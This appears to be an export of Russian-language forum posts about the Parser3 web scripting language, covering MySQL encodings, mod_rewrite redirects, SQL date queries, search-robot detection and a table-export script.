^if(^is_logon[] == 1){\
 ^logout_form_xml[]\
 ^if(def $mode && $mode eq \"both\"){^logon_form_xml[]}\
}{\
 ^logon_form_xml[]\
}\
#######\
#######\
[/code]\
Первые строчки конструктора - это вата. Не обращайте внимания. Надо удалить."
"27377","Прошу прощения за еще одну тему, но старая уже \"Уползла\" и \"поднять\" ее не представляется возможным. \
Всем, кого заинтересовал редактор кода для парсера, оповещаю, что сделан небольшой сайтик, куда пишутся новости и кладутся обновления и  форум по моему редактору. \
Кто по прежнему заинтересован и хочет помочь... хотябы советом, прошу: parser.rpro.ru\
\
Еще раз спасибо!"
"27378","Подскажите пожалуйста, есть ли простой способ копирования таблицы из MySQL в текстовый файл для того чтобы потом средствами парсера этом файл можно было экспортировать опять в базу данных с сохранением всех свойств таблицы.\
\
Спасибо."
"27379","Есть сайт для которого очень критично, перемещается ли человек по нему используя www в начале адреса или нет (это связано с использованием платежной системы).\
Так вот задача заключается в том, чтобы направлять его на страницы, адрес которых начинается с www, как на сайте parser.ru, например.\
Как этого можно добиться с помощью mod rewrite и где об этом можно почитать?\
\
Спасибо за помощь."
"27382","Зачатки ОЧЕНЬ нравятся.\
Буду надеятся, что это превратится в полноценный редактор.\
то, чего на данном этапе не хватает:\
 - возможность выделять через \"шифт\"\
 - чтобы не вываливался с ошибкой \"access violation at address 0046c7af\" при проверке кода\
 \
+ А что это за цифирки в titlebar ? :)"
"27383","если подключаюсь к базе без параметров - ошибок нет, кодировка глючит...\
если подключаюсь к базе с параметром из примера ?charset1251_koi8 - ошибок нет, кодировка глючит...\
да оно и понятно - пример на то, что в базе кои, а надо 1251, у меня же наоборот - в базе 1251, а надо в КОИ...\
и все... затык... не могу найти как это сделать...\
а раскодировать текст 1251, перекодированный по алгоритму КОИ-1251 - занятие безперспективное имхо..."
"27385","Про шифт понял... согласен. \
Про аксесс виолейшн - все исправится. Мы работаем над эдитором уже вдвоем с доверенным мне человеком. Вполне талантливый человек. В данном случае больше всего хотелось бы получать отзывы на наш форум. Поясню: а) там темы не уезжают вниз и есть раздел под эдитор б) второй человек тоже должен видеть багрепорты, чтобы править свой код =) если не сложно, конечно.\
\
Про циферки - отладочная информация ;)"
"27387","Сделать это не сложно, но есть мнение - что сайт неправильно сделан, если для него критична урл."
"27388","Эта платёжная система предполагает задание адресов, с которых мы можем встречать клиента и адресА на который мы отправляем его в случае успешной или не успешной оплаты. Так вот если клиент логинился на сайте с www, а в платежной системе указан адрес возврата без www, то скрипт не может опработать ответ от LinkPoint и наоборот.\
Короче, требуется задание адреса страницы без www и тогда всё будет ок."
"27389","Парсер на агаве есть, тока скрипты на тарифе лайт не работают, а значит и парсер тоже, это бывает нужным учесть, т.к. они об этом не упоминают."
"27390","Сделать, действительно, не сложно - что-то типа:\
\
RewriteEngine on\
RewriteBase /\
RewriteCond %{HTTP_HOST} !^www\\.site\\.com$ [NC]\
RewriteRule ^(.*)$ http://www.site.com/$1 [NS,R,L]\
\
А вот на счет того, что сайт не правильно сделан, Вы можете быть не совсем правы т.к. при использовании SSL, в общем случае, сертификаты для site.com и www.site.com придется покупать отдельно..."
"27391","Да и с авторизацие заморочки. Ведь мы авторизуемся только на одном адресе, с www...., например."
"27392","Не работает. Непрерывный вызов страницы самой себя."
"27394","в принципе можно что-то типа этого (если у нас в этом env что должно быть):\
\
@auto[]\
^if(!^env:SERVER_NAME.match[^^www]){\
	$response:location[http://www.$env:SERVER_NAME/]\
}"
"27395","Спасибо!"
"27397","То надо чуть подправить регэксп... ;)"
"27399","Нее... Мне своего времени тоже очень жалко ;)))"
"27401","..и всётаки, господа, скажите как _правильно_ делать upload на сервер?\
У меня есть место, где через форму загружаются сразу 3 файла.\
Всё работает, но иногда я вижу, что загружен только 1 или 2 файла.\
Пожалуйста, не отсылайте к поиску и документации, ибо я смотрел всё, до чего мог додуматься - то и сделал.\
Если можно, приведите кусок своего работающего кода."
"27402","Как максимально просто написать на SQL запрос, который выберет из базы всех людей, у которых день рождения наступит в ближайшие 30 дней (не в следующем месяце -- это просто, а именно в следующие 30 дней)? Дни рождения, скажем, хранятся в столбце birthday типа date.\
\
У меня получаются только какие-то монструозные запросы с условными операторами, которые даже записывать не хочется."
"27403","select id from people\
where to_days(concat(year(curdate()),'-',month(birthday),'-',dayofmonth(birthday))) - to_days(curdate()) between 0 and 30\
or to_days(concat(year(curdate()),'-',month(birthday),'-',dayofmonth(birthday))) - to_days(curdate()) between -365 and -335;"
"27404","...\
WHERE\
  ^MAIN:pSQL.date_sub[^MAIN:pSQL.date_format[dt_birthday;${now.year}-%m-%d];^days.int(3)] <= ^MAIN:pSQL.today[]\
\
(это в ближайшие 3 дня)\
тут я привел не чисто конструкции SQL, а свои методы из класса mysql.p, за подробностями в него, мне переводить ломает :)"
"27405","Это обязательно должен быть sql-запрос? \
В случае если испольуется mysql, которая умеет сравнивать даты.\
\
$now[^date::now[]] \
$date_after_month[^date::create($now+30)] \
$tab[^table::sql{select id_user from users where birthday < '^date_after_month.sql-string[]'}]\
Документация => Класс date. Примеров куча."
"27406","во первых вместо:\
$now[^date::now[]] \
$date_after_month[^date::create($now+30)]\
\
можно написать:\
$date_after_month[^date::now(+30)]\
\
а во вторых в $date_after_month будет 2004 год, а у одного прользователя в birthday например 1972, у другого - 1981..."
"27408","Как использовать mysqldump парсером?\
Попробовал\
^connect[$connect_string]{					\
^void:sql{mysqldump table_name > /table_dump.sql}\
}\
Не получается. Наверно так нельзя.\
Нужно копировать всю таблицу через веб-интерфейс. Как лучше это сделать?\
\
Спасибо"
"27411","Я тоже надеюсь, что редактор превратится во что то стоящее, конечно о сейчас довольно неуклюже выглядит,  но ориентаруйтесь на PSPad или ультра едит, это хорошие редакторы :)\
это моё нетрезвое имхо :) , мож чё поумнее напишу, еще подумаю..."
"27412","Ну туго у меня с программизмом..\
Да вроде разобрался.. Так правильно?\
 ^form:back.save[binary;/counters/back.gif]\
 ^form:font1.save[binary;/counters/font1.gif]\
 ^form:font2.save[binary;/counters/font2.gif]\
\
А до этого было сначала\
$back[^file::load[binary;$form:back]]\
А потом уж\
^back.save..."
"27413","а то у меня сейчас:\
\
@auto[]\
$request:charset[koi8-r]\
$response:charset[windows-1251]\
\
то есть файлы лежат в кои на диске, а в базе в 1251...\
можно, конечно, заняться перекодировать базу в кои, но это гемор какой..."
"27414","$request:charset[koi8-r]\
$response:charset[windows-1251]\
\
и еще charset для базы данных чтобы можно было задавать?\
или такое уже есть?"
"27415","в sw.Card в новостях ипсользуется module=id\
а как сделать чтобы было просто id\
spasibo!"
"27417","с помощью задаваемого вами в строке соединения с mysql параметра charset=cp1251_koi8 (если вы его задаете, или иного параметра который вы можете посмотреть в доке по mysql) он говорит MySQL серверу чтобы [b]тот[/b] перекодировал данные.\
\
если этого параметра нет, то парсер получает от mysql данные в той кодировке, в которой они лежат в mysql.\
\
никакого другого перекодирования при обмене парсера и mysql нет (по крайней мере пока)\
\
если у вас файлики живут в кодировке koi8-r, а в mysql данные уже лежат в win1251, то я вам сочувствую, у вас вариантов всего-то:\
1. писать свой перекодировщик на парсере, и прогонять чемез него все, что вы получили от mysql\
2. конвертнуть в конце концов все ваши файлики в кодировку win1251\
3. убрать charset= и класть/получать данные как есть, при этом на стороне сервера не будут работать правильно ORDER BY, LOWER/UPPER и ещё некоторые, но все остальное будет выгладеть нормально (для этого варианта вам нужно будет разок конвертнуть в koi8-r то, что уже лежит в вашей БД в mysql), несмотря на то, что default кодировка вашего mysql сервера win1251"
"27419","иначе бы и проблемы-то не было...\
а база не просто база в маздайной кодировке, это база VBulletin форумов...\
и из неё я беру новости из определенного раздела (удобно очень админить новости, сразу ссылку на обсуждение, количество ответов и т.д.)\
@getMessagesByForum[forum_id;limit]\
  ^MAIN:pSQL.sql[table]{\
#  $result[^table::sql{\
    SELECT\
      thread.threadid,\
      thread.title,\
      thread.lastpost,\
      thread.replycount,\
      thread.postusername,\
      post.pagetext AS body\
    FROM\
      thread,post\
    WHERE\
      forumid = '^forum_id.int(0)' AND\
      post.threadid=thread.threadid AND\
      thread.visible = 1\
    ORDER BY\
      thread.threadid DESC\
  }[^if(^limit.int(0)){$.limit(^limit.int(0))}{$.limit(5)}]]\
\
я пытался обмануть парсер - перед запросом к базе указать один \
$request:charset, а после - другой, но он меня послал, сказал что болен и устал, и эту ночь не спал...\
я... жду ответа... больше надежд нету...\
ой, че-то я в оффтопик влез..."
"27420","вроде не вопрос перекодирования парсером \"вообще\" обсуждался.\
\
установте одинаковые request/responce и не будет он перекодировать вывод пользователю, а на общение с sql request/responce не влияют.\
выдайте в конце-то концов всю информацию:\
1. кодировка файлов\
2. выходная кодировка пользователям\
3. что у вас в написано request/responce charsets\
4. default charset MySQL\
5. кодировка букв в MySQL\
\
а то лично я гадать уже устал."
"27421","1. кодировка файлов\
(на сервере, я так понимаю?)\
KOI8-RU\
2. выходная кодировка пользователям\
1251\
3. что у вас в написано request/responce charsets\
$request:charset[koi8-r]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
4. default charset MySQL\
| character_set                   | cp1251                           \
| character_sets                  | latin1 koi8_ru cp1251            \
\
5. кодировка букв в MySQL\
(что это такое, я не понял, в чем на самом деле лежит в базе чтоль?)\
1251"
"27423","Почему бы parser'у в этом случае не отдавать \"-1\"?\
Update: вообщето в заголовке написано \"^eval(-)\"."
"27424","и начала думать в сторону расширения ваших классов работы с базой данных в сторону передачи ему параметром кодировки сервера базы данных, а внутри класса уже чтобы он сам из \
\
$request:charset[koi8-r]\
$response:charset[windows-1251]\
\
брал данные о необходимой кодировки документа и использовал соответствующию таблицу перекодировки, которую можно и самому написать, в-принципе...\
\
только у меня не получается начать это делать, а именно:\
как затереть методы из какого-нибудь sql.p своим (не понял принципа как это сделать)\
ну и куда читать насчет рождения перекодировщика - тоже неясно..."
"27425","Я всё ещё не могу догнать, как не ставить линки в календаре если нет новостей? Пытался делать соеденение с базой данных, и там просматривать есть ли новости, но чё то не получается, способов не знаю. А если ориентироваться только на знания полученные до 4го урока?\
Ещё в форума писали, что надо \"лукапить по хэшу\", а это что такое?"
"27427","Вот так все равно не получается...\
^connect[$connect_string]{					\
	^void:sql{mysqldump [--add-drop-table] astronomy [news]}\
}"
"27428","Покажите ваш код, по возможности с коментариями"
"27429","вооще-то не sql запрос надо делать, а запускать внешнюю программу 'mysqldump' при этом не забыть указать к ней относительный путь..."
"27430","Класс хороший, недавно начал с ним разбираться. Сложный он, но зато в нем есть в принципе все, что нужно для работы с авторизацией и мне подходит, хотя наверное все-таки для отдельных, простых задач, действительно наверное лучше свой написать.\
\
А вообще мне нравяться классы для работы с SQL (sql.p, mysql.p, ...), за них спасибо, очень хорошие и нужные классы, активно использую.\
\
Ещё хороший класс для работы с датами, но у меня по нему такие замечания :-)\
\
нельзя преобразовать дату в формат \"13 марта 2004 года\"\
в $locale все первые буквы месяцев большие, и нет названий типа: января, февраля, марта...\
ну и нет слова \"год\"\
\
поэтому подкрутил настройки класса немного под себя :-)"
"27431","Как установить Parser под WinXP объясните для непонятливого.\
Заранее благодарен.\
Володя"
"27432","собственно я специально названия месяцев/дней недель храню именно в таком виде, т.к. сделать им lower достаточно просто.\
\
а названия в родительном падеже в классе были, есть и будут :)"
"27433","для \"чайников\": установить Денвер (раздел Скачать)"
"27434","Вопрос гуру(ам :) ) и автору технологии:\
почему код(^stuff.locate[name;Тема])\
выдаст только одного Тему (видна Лебедева :)  )\
даже при условии того, что в столбце, к которому .locate обращается может находится несколько Тем? И причем только самого первого. \
\
Не всегда есть возможность и желание использовать SQL, а вот добавить пару методов в table\
\
1. которые будут определять столько совпадений, сколько их есть в столбце, таблице\
2. удалять строку, а не только ее добавлять (.append)\
\
решит массу проблем для несложных задач\
жду ответа...."
"27435","во первых есть параметр, указывающий последовательность поиска\
во вторых есть locate(выражение), и ничего не стоит написать\
^while(^stuff.locate($stuff.name eq Тема)){\
  делаем что-то\
}\
и в третих, для подобных отборов мне кажется больше подходит .select\
про удаление строки из таблицы: попробуйте поискать в форуме/примерах. есть готовые методы, и в задачи парсера не входит эмуляция или замена sql серверов."
"27436","Есть у меня таблица из 100 строк и скроллер постраничный, выводящий по 20 пунктов на страницу.\
Мне надо вывести список по алфавиту.\
Но mysql неправильно сортирует кириллицу, т.е. если order by пользоваться, то получается некрасиво..\
Всю таблицу парсером сортировать не хочу, ибо это она сейчас 100 строк, а потом 1000..\
Как быть? =)"
"27437","P.S. С названиями извините, забыл, что они там действительно есть :-)"
"27438","Дело естессно в кодировке..\
Ткните носом где это поправить?"
"27440","Подскажите, как изменить кодировку по умолчанию в денвере, а-то там стоит latin1?\
Сорри, я с mysql только через веб работал, где там настройки сервера находятся незнаю пока.."
"27441","Работает на \"ура\" (respect to Misha).\
\
Но вот какой вопрос: при посещаемости ~40 хитов в день (статистика Рамблера) счетчик за день прибавляет ~80. Могут эти неизвестные \"40\" загрузок добавлять поисковые роботы? Как определить, что страницу просматривает робот, а не обычный пользователь? По IP, заголовкам HTTP или еще как?"
"27442","Мой респект, внимательнее прочитал .. :\"Метод ищет в указанном столбце значение, равное искомому и возвращает логическое значение «истина/ложь» в зависимости от успеха поиска. В случае если искомое значение найдено, строка, его содержащая, делается текущей.\" Ваш вариант дает ошибку \"endless loop detected\". Но было бы здорово если б вы показали что это возможно реализовать. Конечно очень просто забить все в SQL и вызвать :\
SELECT name, body\
FROM 'table'\
WHERE name=\"Тема\";\
\
но ведь мы легких путей не ищем, ;) надеюсь увидеть решение для .locate, .select и, если есть, удаление строки в таблице [txt]\
\
спасибо"
"27444","В серверных логах найти название браузера, если оно там типа GoogleBot или YandexRobot - значит был робот. \
Вообще наверно оттого, что пользователи очень быстро закрывают вашу страничку и картинка рамблеровской статистики не успевает подгрузиться... Может где-то у вас на странице одной <meta refresh> с нулёвой перезагрузкой стоит?"
"27445","[i]> надеюсь увидеть решение для .locate, .select...[/i] \
вам придется прочитать документацию по table.select, это очень непросто, но ведь вы легких путей и не ищете?  ;)\
\
[i]> ...и, если есть, удаление строки в таблице [txt][/i]\
а вот это придётся поискать по форуму, было-бы наивно полагать, что за несколько лет существования технологии вы первый, кто заметил отсутствие такой нужной функции..."
"27446","однако указал на то, что есть документация, есть дополнтельные способы использования параметры у locate.\
\
вот это точно работает:\
[code]\
$l(0)\
^while(^stuff.locate($stuff.name eq \"Тема\" && ^stuff.line[] > $l)[$.offset[cur]]){\
	^stuff.line[]: делаем что-то<br />\
	$l(^stuff.line[])\
	^stuff.offset(1)\
}\
[/code]\
но мне не нравится как это выглядит и в рабочем коде я не буду никогда такое использовать, учитывая наличие .select у таблицы."
"27447","Что-то сомнительно, что роботы 40 раз в сутки заходят..\
Можешь $env:HTTP_USER_AGENT проверять, на тему чего-то типа Yandex/1.01.001 (compatible; Win16; P)"
"27448","А ещё может быть, что рамблеровский счетчик всякие фейрволы и ad-убийцы режут у юзеров.."
"27449","20*2 робота = 40\
\
а $env:HTTP_USER_AGENT посмотрю (спасибо за совет)"
"27450","никогда не знаешь, когда она вдруг превратится в сложную...\
\
к тому-же проще запомнить API одного класса, и лишь наследовать его добавляя требуемую функциональность (IMHO).\
\
мне кажется наоборот, для больших проектов слоит делать что-то свое, т.к. имено на больших проектах лишний неиспоьзуемый код будет частично пожирать производительность, которая для больших проектов становится более актуальна.\
\
а что про клас авторизации, так он вроде и на больших проектах выживает (из последнего где он используется: http://forum.mts.ru/ ) и с моей точки зрения в нем нет ничего сложного, ну разве что комментарии :)"
"27451","хм, непонятная мне логика...\
\
если я нажимаю \"Отлогиниться\", то в чем прикол галочки \"запомнить\"?\
\
т.е. я вроде отлогинился, тут-же перегружаю страницу и вижу что я залогинен... не, как-то не правильно это.\
\
по хорошему конечно эта галочка вообще не нужна. я иногда просто в hidden пихаю is_persistent и все :)"
"27452","хотя я в детали не вникал... но...\
\
[code]\
$db_sessions[^table::sql{\
  SELECT\
  id, sid, created, updated, ip, user_name\
  FROM\
  auth_sessions\
 }]\
[/code]\
\
мне одного этого запроса в коде хватило (не говоря уже о том, что он там встречается 3 раза).\
\
знаете сколько записей в сессионной таблице на parser.ru? а на mts.ru? (и у меня они чистятся...)"
"27454","[url=\"http://www.mozillazine.org/talkback.html?article=4464\"]По сообщению MozillaZine[/url], товарищ Maniac составил [url=\"http://jim.pp.ru/helps/internet/mozilla.htm\"]список 21ой фичи, которые есть в Mozilla и Firefox, но которых нет в MS IE[/url]. Этот список далеко не полный, и включает только те фичи, которые он мог описать в здравом уме. ;-)\
\
Напомню, что уже давно существует другой список, \"[url=\"http://www.mozdev.ru/twiki/pub/Mozdev/WebHome/mozilla101.html\"]101 возможность, которая есть в браузере Mozilla и отсутствует в Internet Explorer[/url]\"."
"27455","Делаю так:\
\
в корневом auto.p:\
[code]\
@USE\
/classes/mysql.p\
\
@auto[]\
$connect-string[mysql://root@localhost/p3test]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
[/code]\
\
В index.html:\
[code]\
@USE\
/classes/gbook.p\
/classes/mysql.p\
\
<a href=\"_auth_info.html\">_auth_info.html</a><br>\
<a href=\"_auth_profile.html\">_auth_profile.html</a><br>\
<a href=\"_auth_setpwd.html\">_auth_setpwd.html</a>\
[/code]\
\
В базе p3test выполнил скрипт auth_mysql.sql, изменив кодировку на 1251 и удалив комментарии.\
\
Имею:\
По любой ссылке \
connection string must start with protocol://\
connect\
\
z:/home/test3.ru/www/classes//sql.p(46)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
server z:/home/test3.ru/www/gbook/_auth_info.html(2)\
\
В строке 46 sql.p сказано:\
[code]\
^connect[$connect-string]{$body}\
[/code]\
\
Подскажите, что не так? Вторую ночь сижу. Сам уж точно не смогу."
"27457","$SQL.connect-string[mysql://root@localhost/p3test]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]"
"27459","как говорится, если ещё кто не знает --- теперь знают. ;-)"
"27460","Не будут пользователи напрягаться. На то они и пользователи :)\
\
Как вариант:\
\
[code]\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception (ERROR!);\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, <a\
href=\"mailto:admin@xxxxxxxxxxx.ru\">admin@xxxxxxxxxxx.ru</a>\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser\
error log or in debug version of unhandled_exception.</p>\
\
^mail:send[\
    $.from[SERVER <server@xxxxxxxxxxx.ru>]\
    $.to[Webmaster <webmaster@xxxxxxxxxxx.ru>]\
        $.content-type[\
        $.value[text/html]\
        $.charset[windows-1251]\
        ]\
    $.subject[Не существующая страница]\
    $.body[На сервере xxxxxxxxxxx.RU была запрошена отсутствующая страница:<br>\
    <a href=\"$env:HTTP_REFERER\">$env:HTTP_REFERER</a>\
    <hr>\
    <a href=\"http://www.xxxxxxxxxxx.ru$env:PATH_INFO\">http://www.xxxxxxxxxxx.ru$env:PATH_INFO</a>\
    <hr>\
    IP: $env:REMOTE_ADDR\
    <hr>\
    ]\
]\
    $response:refresh[\
    $.value[0]\
    $.url[/404/]\
    ]\
\
]\
[/code]"
"27461","причин масса\
\
1)забыли убрать # в $SQL.connect-string[...]\
2)забыли настроить соединение\
3)нигде не увидел у вас строки ^MAIN:pSQL.server{...}? если его нет, то что вы ожидаете?"
"27462","http://www.spearance.ru/parser3/apache/"
"27463","в комплекте с классом идут работающие файлики, в которых показано как класс подключается... этих примитивных примеров недостаточно?"
"27465","...\
\
каждый выбирает то, что ему больше нравится. в том-же IE большинство упомянутых фич делаются небольшими ковыряниями в реестре или установкой соотв. примочек.\
\
но лично меня IE не устраивает своей безопасностью."
"27466","Вам виднее, вы все-таки в этом деле опытнее и разбираетесь естественно лучше меня :-)\
Спасибо, за советы."
"27467","на сайте Александра Егорова, про календарь.\
В ней должно быть написано про то, что вам нужно."
"27469","Подскажите, как реализовать подсчет символов в поле формы. Два варианта: либо после того, как поле отправлено, либо,как  на сайтах отправки SMS"
"27470","Спасибо. Это на самом деле примерно то же, что я написал одним комментом ниже.\
\
Но теперь меня вот что интересует: как получить этот список из базы в отсортированном по дням рождения виде, чтобы сначала шли те люди, у которых день рождения ближе всего? Понятно, что order by month(birthday) asc, dayofmonth(birthday) asc не поможет, т.к. в конце декабря надо сначала ставить декабрьские дни рождения, а потом январские. Как проще всего выйти из положения?.."
"27471","Здравствуйте!\
Скачал parser3_1_1_freebsd48R_cgi.tar.gz и parser3conf_1_1_20031106_unix.tar.gz с этого сайта, сделал всё по инструкции (режим передачи 8-bit binary, права доступа максимально возможные), содержимое .htaccess: \
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi \
\
На выходе имею Internal Server Error 500. Доступа к httpd.conf не имею, но подозреваю, что AllowOverride FileInfo там присутствует. Операционная система себя идентифицирует как Unix L8 и как FREEBSD 4.8xxxx В чём ещё может быть проблема?.."
"27473","Хотелось в результате получить скриптик, который пускался бы по\
cron'у раз в сутки и отлавливал плохие линки ( они внешние ).\
И в базульке счетчик плохих посещений увеличивал. После числа Х\
линк блокируется. Сидеть самому и читать письма с битыми линками\
не имею никакого желания:-)) В общем все ясно, кроме как узнать\
живой линк или нет. Вроде надо через exception действовать.\
Тагда вопрос следующего свойства - обычно это описывают в auto.p\
( как и библиотеки для базы данных). А где parser берет их\
в режиме скрипта?"
"27475","при запуске http://xxx/~username/cgi-bin/parser3.cgi\
получаем Parser/3.1.1.\
\
но при обработке страницы получаем\
The requested URL /cgi-bin/parser3.cgi/~username/index.html was not found on this server.\
\
Вопрос: сервер не может корректно обработать url такого вида (Apache/1.3.29) ?"
"27478","Не могу понять, что означают эти ошибки:\
\
Premature end of script headers: /home/cgi-bin/parser3.cgi\
\
out of pool memory: failed to allocate 41 bytes; already allocated on pool: 4494482 bytes in 173591 times"
"27481","Необходимо запрос любой страницы сайта отправлять на одну (будет написано что сайт временно ен доступен), но в то же время нужно оставить его открытым для поисковых машин. То есть для клиентов сайт закрыт, а для индексации - открыт. \
\
Искать нет времени. Помогите"
"27486","http://www.parser.ru/faq/install/"
"27488","тут дело в нехватке памяти"
"27489","джаваскриптом вы заботитесь о юзере(чтобы просто не мог вбить в поле больше разрешенного)\
Парсер - подстраховка и уверенность в том, что больше нужного кол-ва символов не будет отослано"
"27490","Убери/оптимизируй матчи, применяй ^memory:compact, уменьшай объем данных получаемый из БД/внешних файлов"
"27491","[code]\
$user_agent[$env:HTTP_USER_AGENT]\
# проверяем user_agent на волшебное слово\
^if(^user_agent.match[mozilla][i]){$response:location[/go_away.html]}\
[/code]\
\
детский сад, конечно, но если никто ничего лучшего не предложит..."
"27493","Я только начал писать программу и она уже столько памяти жрет? А что будет дальше? Есть ли какой-нибудь рецепт, чтобы сразу писать более оптимизированный код?"
"27494","видимо выбран самый дешёвый план где маленькая память процесса, надо учитывать что только сам парсер с XML занимает около 2-х мегабайт, а если всего, допустим, 4 Мб на процесс, то ему становится очень грустно."
"27496","Есть куча графиков в разном виде, воснавном в формате Ехеl документов, нужно их - эти графики выкладывать на сайт, желательно все автоматизировать. Есть простейший способ выкладывать их как картинки импортированые из документа, но он не устраивает, там такой разнабой, а все это должно выглядеть приличненько, одинаково... вот такой вопрос."
"27497","Подскажите ламеру как подконнектится к dbf -файлам. Проболема в том, что у меня таблицы в dbf фармате. Как мне использовать парсер для работы с такими таблицами."
"27498","http://www.parser.ru/docs/lang/app3mysql.htm\
http://www.parser.ru/docs/lang/parserconfig.htm"
"27499","А это уже интересно. У меня план весьма платный, но не знаю ничего по поводу распределения памяти на процессы. А как это сформулировать для провайдера хостинга? Чтоб обоснованно звучало."
"27500","Нарисовать себе \"эталонные\" графики в плане оформления - и приводить к ним имеющиеся. \
\
Проблема неавтоматизируема - проверено на опыте. Только если у вас графики одинаковые, различаются лишь цифры..."
"27501","Сколько памяти могут занимать мои cgi скрипты. Вообще-то на многих хостингах это в тех. данных написано.\
\
PS: Ну и вопросы у тебя :)"
"27503","Блин, чего-то у меня правда со вниманием случилось.. \
Не первый раз уже невпопад думаю."
"27505","А сколько занимает памяти многократное наследование в классах? Класс А, у него потомок Б, затем потомок В, и еще Г. Затем создается объект класса Г. Вот как критично такое программирование в отношении расходования памяти?"
"27506","как говорят англоязычные товарищи - it depends ..."
"27507","А может ли такое программирование (с длинной цепочкой наследования) влиять на скорость и занимаемую память?"
"27508","абстрактность не изменилась"
"27510","Пример автоматизации подобной вещи я уже видел. Есть вариант експортировать все это барахло в текстовый файл, прописать в заголовке тип диаграммы и т.д."
"27511","Сударь, вы определяйтесь. Таки графики разные или одинаковые?\
\
Если различается только набор вариантов в каждом графике (разное кол-во столбиков) и цифры - это автоматизируемо. Если типы графиков - разные, то нет."
"27512","Разные, но можно привести к двум вариантам\
1) Круговая диаграмма для показания прощентного соотнощения\
2) Столбчатая, для отабражения роста показателей по годам, в разных регионах."
"27513","[code]# Ставим это в начало htaccess\
\
RewriteEngine On\
RewriteCond  %{HTTP_USER_AGENT}  !^yandex.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^googlebot.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^.*gaisbot.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^rambler.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^aport.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^metacrawler.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^msnbot.* [NC,OR]\
RewriteCond  %{HTTP_USER_AGENT}  !^.*crawler.* [NC,OR]\
RewriteRule  ^/$                 -  [L,R] [/code]"
"27515","\"Разные, но можно привести к двум вариантам\"\
\
- эту стадию работы придётся проделать ручками. Генерация графиков в дальнейшем автоматизируется."
"27517","Кривое решение, применял, когда доступа по порту 3306 не было.\
\
Не будет работать на больших таблицах, когда памяти не хватит сделать SELECT *;\
\
Создаёт в текущей папке несколько *.sql файлов по именам таблиц. Их можно забрать по FTP.\
\
[code]@main[]\
\
$dbname[название_БД]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[windows-1251]\
]\
\
$spacer[^taint[^#0A]#############^taint[^#0A]]\
$date_now[^date::now[]]\
\
\
$eol[^table::create[nameless]{^taint[^#0A]	\\n\
'	\\'\
\"	\\\"}]\
\
	^dbconnect{\
		^void:sql{FLUSH TABLES}\
		$tables[^table::sql{SHOW TABLES}]\
		$tables_columns[^tables.columns[]]\
		^tables.menu{\
\
			$sql[\
			#\
 			# Database $dbname exported ^date_now.sql-string[]\
			#\
\
#			### Table structure for $tables.Tables_in_$dbname Table ###\
			DROP TABLE IF EXISTS $tables.Tables_in_$dbname^;\
			$create[^table::sql{SHOW CREATE TABLE $tables.Tables_in_$dbname}]		\
			^create.menu{\
				${create.Create Table}^;\
			}\
			$create[]\
			$spacer\
			^if($tables.Tables_in_$dbname eq \"таблица_данные_из_которой_нам_не_нужны_нахрен\" ||\
			    $tables.Tables_in_$dbname eq \"другая_таблица_данные_из_которой_нам_не_нужны_нахрен\"			    \
			){ }{\
			### Data for $tables.Tables_in_$dbname Table ###\
			$current[^table::sql{SELECT * FROM $tables.Tables_in_$dbname}]\
			$current_columns[^current.columns[]]\
			^current.menu{INSERT INTO $tables.Tables_in_$dbname VALUES(^current_columns.menu{ $thiscolumn[$current_columns.column] $this[$current.$thiscolumn] $this[^this.replace[$eol]] '$this'}[,])^;\
			}\
			\
			}\
			\
			$spacer\
			\
			]\
\
			$sql[^untaint[optimized-as-is]{$sql}]\
			^sql.save[./${tables.Tables_in_$dbname}_dump.sql]\
			$sql[]\
#			Раскомментируйте, если ваша версия парсера это поддерживает!!!!!!\
#			^memory:compact[]\
\
		}\
	}\
\
\
<h1>Finished exporting at ^date_now.sql-string[] </h1>[/code]"
"27521","вместо:\
[code]\
#			Раскомментируйте, если ваша версия парсера это поддерживает!!!!!!\
#			^memory:compact[]\
[/code]\
лучше сделать так:\
[code]\
^try{\
	^memory:compact[]\
}{\
	$exception.handled(1)\
}\
[/code]\
и не надо ничего расскоменнтировать, - у кого есть будет работать, у кого нет, увы"
"27522","в доке, что пока что нельзя (вернее можно, но только \"примитивные\" картинки с малым кол-вом цветов), но зато можно внешними программами.\
можно imagemagic, можно РНР."
"27523","Есть ли вариант с ПХП, он ближе мне будет.........."
"27524","По поводу надобности кому-либо статьи об этом :)\
Хорошо. Уже пишу."
"27525","Как я понял методом проб и ошибок, $request:uri возвращает тот URL, который ввел пользователь -- то есть до того, как он был преобразован с помощью mod_rewrite. Это очень скверно! Есть ли какой-то способ получить из скрипта \"фактический\", то есть уже преобразованный, URL?\
\
Спасибо."
"27526","Если не секрет, какова причина, по которой вам категорически не подходит ImageMagick?"
"27527","Можно mod_rewrite'ом положить \"фактический\" путь в переменную окружения, и взять ее парсером."
"27529","а что мешает использовать\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L]\
и получить ее как $form:uri ?"
"27530","Упс! Забыл о существовании $env:REDIRECT_URL :) Похоже, что это именно оно."
"27536","Хочу преобразовать структуру\
\
[code]\
$about[^if(def $form:about){$form:about}{0}]\
^switch[$about]{\
 ^case[aboutus]{^aboutus[]}\
 ^case[adress]{^adress[]}\
 ^case[comerc]{^comerc[]}\
 ^case[0]{^aboutlist[]}\
 ^case[DEFAULT]{^aboutlist[]}\
 }\
[/code]\
\
в hash. Говорят, будет хорошо.\
Делаю так:\
[code]\
$about[^if(def $form:about){$form:about}{0}]\
$abouthash[\
  $.aboutus[^aboutus[]]\
  $.adress[^adress[]]\
  $.comerc[^comerc[]]\
  $.0[^aboutlist[]]\
  $._DEFAULT[^aboutlist[]]\
  ]\
[/code]\
\
